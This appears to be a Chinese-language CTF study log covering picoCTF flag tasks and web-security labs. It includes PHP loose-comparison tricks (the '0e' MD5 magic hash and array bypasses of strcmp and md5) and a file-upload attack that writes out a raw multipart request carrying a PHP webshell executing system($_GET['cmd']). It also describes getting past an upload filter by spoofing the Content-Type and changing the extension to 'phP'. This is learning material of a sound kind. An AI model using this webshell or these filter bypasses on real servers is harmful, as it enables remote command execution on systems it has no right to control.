本日進度:
利用 ltdis.sh
分解 static
檔案,就可以從 static.ltdis.strings.txt
中找到 Flag 了
nc 過去之後會噴很多數字出來,感覺像是 ASCII 碼,所以就把他轉成文字就是 Flag 了,我寫了個簡單的程式
text = ""
while True:
try:
num = int(input())
text += chr(num)
except:
break
print(text)
就載下來印出來就是 Flag 了
把 42 轉成 2 進位,然後用 picoCTF{} 包起來就是 Flag 了
下載檔案後,用 grep
就能找到 Flag 了
用 base64
解碼就能得到 Flag 了
簡單語法
Weak type0e
開頭的東西會自動轉型成科學記號
還有其他若型別轉換的範例,如下的真直表
Parameter Array
Lab - phpisnice
雖然他 Lab 還是關掉了,但他有給 code ,所以我可以自己玩玩看!
去查剛剛那些 MD5 會有問題的字串 然後找到了這個
String | MD5 |
---|---|
0e215962017 | 0e291242476940776845150308577824 |
指定 A=0e215962017 這題應該就能拿到 Flag 了
Lab - phpisbest
因為他要先過 strcmp($A, $B) == 0
所以先把兩個用成不一樣的陣列,這樣會 null == 0 -> true
就過了,然後 MD5 只要兩個都是陣列就會 null == null -> true
,就可以拿到 Flag 了
File vs Route
Webshell (shell on web)
惡意的 Webshell
POST /upload.php HTTP/1.1\r\n
Content-Length: 80172\r\n
Content-Type: multipart/form-data; boundary=----meow\r\n
\r\n
------owo\r\n
Content-Disposition: form-data; name="upload"; filename="ouo.txt"\r\n
Content-Type: text/plain\r\n
\r\n
(File Content)
\r\n
------owo--\r\n
改成
POST /upload.php HTTP/1.1\r\n
Content-Length: 80172\r\n
Content-Type: multipart/form-data; boundary=----meow\r\n
\r\n
------owo\r\n
Content-Disposition: form-data; name="upload"; filename="webshell.php"\r\n
Content-Type: text/php\r\n
\r\n
<?php system($_GET['cmd']);?>
\r\n
------owo--\r\n
怎麼抵擋呢?
phP
之類的就可能可以繞過Lab - uploader (lab 關掉了)
照抄剛剛可以觸發 Webshell php,然後就能從根目錄取得 Flag 了
Lab - uploader-waf (lab 關掉了)
他有改 content-type 和副檔名,所以要把前面的 Content-Type: text/php
改成 Content-Type: image/png
,然後把副檔名改成 phP
就可以繞過了,接下來就跟上一題一樣在根目錄取得 Flag